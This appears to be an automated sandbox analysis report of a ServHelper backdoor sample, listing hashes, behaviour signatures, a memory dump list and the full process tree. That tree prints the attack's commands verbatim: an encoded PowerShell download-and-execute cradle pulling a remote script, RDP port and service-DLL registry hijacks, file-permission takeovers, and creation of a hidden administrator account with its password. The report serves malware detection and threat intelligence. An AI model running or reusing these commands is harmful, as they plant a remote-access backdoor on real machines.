Analysis

  • max time kernel
    132s
  • max time network
    106s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    13-07-2021 13:09

General

  • Target

    753f0b9b7183051f2f09ccd68d418969.exe

  • Size

    6.0MB

  • MD5

    753f0b9b7183051f2f09ccd68d418969

  • SHA1

    ffcd59bc747170fcd30032d3ca1da6861330e99c

  • SHA256

    5c7e8b5ecf30c04a3a6e3726328c37eccfc8f0656797894d71e2ac7c27c20c9d

  • SHA512

    1e36d40c6245943430c7ed1dc1ed19a88f930842bc14f478dfee3f91fb18d7d3026312dc8ec856b3982f97d0e93510833945dee0b27533ae6a4130cee0f2dfec

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 21 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\753f0b9b7183051f2f09ccd68d418969.exe
    "C:\Users\Admin\AppData\Local\Temp\753f0b9b7183051f2f09ccd68d418969.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1016
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2004
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\f2bo5k0x\f2bo5k0x.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:324
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2896.tmp" "c:\Users\Admin\AppData\Local\Temp\f2bo5k0x\CSCF20E3E51B3334336B54BAC13ADBB5FC5.TMP"
          4⤵
            PID:1588
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1104
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1528
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1336
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1072
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1132
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:420
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:848
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1560
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1624
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1232
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1248
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1260
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:960
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1568
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1884
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1892
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1552
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1640
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:1620
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:1516
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:1436
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:1352
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:1556
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:1336
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:1220
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:300
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user WgaUtilAcc 000000 /del
                            1⤵
                              PID:420
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc 000000 /del
                                2⤵
                                  PID:1536
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                    3⤵
                                      PID:944
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc EPvT3Spv /add
                                  1⤵
                                    PID:1624
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc EPvT3Spv /add
                                      2⤵
                                        PID:1984
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc EPvT3Spv /add
                                          3⤵
                                            PID:1800
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                        1⤵
                                          PID:1568
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                            2⤵
                                              PID:1804
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                3⤵
                                                  PID:1656
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                              1⤵
                                                PID:1620
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                  2⤵
                                                    PID:2000
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                      3⤵
                                                        PID:1892
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                    1⤵
                                                      PID:804
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                        2⤵
                                                          PID:300
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                            3⤵
                                                              PID:944
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user WgaUtilAcc EPvT3Spv
                                                          1⤵
                                                            PID:960
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user WgaUtilAcc EPvT3Spv
                                                              2⤵
                                                                PID:1800
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user WgaUtilAcc EPvT3Spv
                                                                  3⤵
                                                                    PID:1384
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:680
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:1524
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:1620
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:1260
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:804
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:1464
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1420

                                                                      Network

                                                                      MITRE ATT&CK Enterprise v6

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • memory/1016-60-0x0000000041600000-0x0000000041A20000-memory.dmp

                                                                        Filesize

                                                                        4.1MB

                                                                      • memory/1016-65-0x0000000041167000-0x0000000041168000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1016-64-0x0000000041166000-0x0000000041167000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1016-62-0x0000000041162000-0x0000000041164000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1016-63-0x0000000041164000-0x0000000041166000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1104-121-0x000000001B730000-0x000000001B731000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1104-100-0x000000001A9E0000-0x000000001A9E2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1104-120-0x000000001B720000-0x000000001B721000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1104-98-0x000000001A990000-0x000000001A991000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1104-94-0x00000000024E0000-0x00000000024E1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1104-99-0x0000000002350000-0x0000000002351000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1104-96-0x000000001B7D0000-0x000000001B7D1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1104-107-0x000000001B570000-0x000000001B571000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1104-101-0x000000001A9E4000-0x000000001A9E6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1336-148-0x000000001ABB0000-0x000000001ABB2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1336-150-0x000000001ABB4000-0x000000001ABB6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1420-203-0x00000000194C4000-0x00000000194C6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1420-234-0x00000000194CA000-0x00000000194E9000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1420-202-0x00000000194C0000-0x00000000194C2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1528-135-0x0000000002160000-0x0000000002161000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1528-134-0x000000001A960000-0x000000001A961000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1528-132-0x000000001B4F0000-0x000000001B4F1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1528-130-0x0000000002600000-0x0000000002601000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1528-128-0x000000001ABC4000-0x000000001ABC6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1528-127-0x000000001ABC0000-0x000000001ABC2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/2004-87-0x00000000027E0000-0x00000000027E1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/2004-73-0x000000001AC44000-0x000000001AC46000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/2004-86-0x000000001C440000-0x000000001C441000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/2004-85-0x000000001C110000-0x000000001C111000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/2004-158-0x000000001CAC0000-0x000000001CAC1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/2004-83-0x00000000023B0000-0x00000000023B1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/2004-75-0x000000001B570000-0x000000001B571000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/2004-102-0x000000001AC4A000-0x000000001AC69000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/2004-72-0x000000001AC40000-0x000000001AC42000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/2004-71-0x0000000002690000-0x0000000002691000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/2004-70-0x00000000024B0000-0x00000000024B1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/2004-69-0x000000001ACC0000-0x000000001ACC1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/2004-68-0x0000000002370000-0x0000000002371000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/2004-67-0x000007FEFBAE1000-0x000007FEFBAE3000-memory.dmp

                                                                        Filesize

                                                                        8KB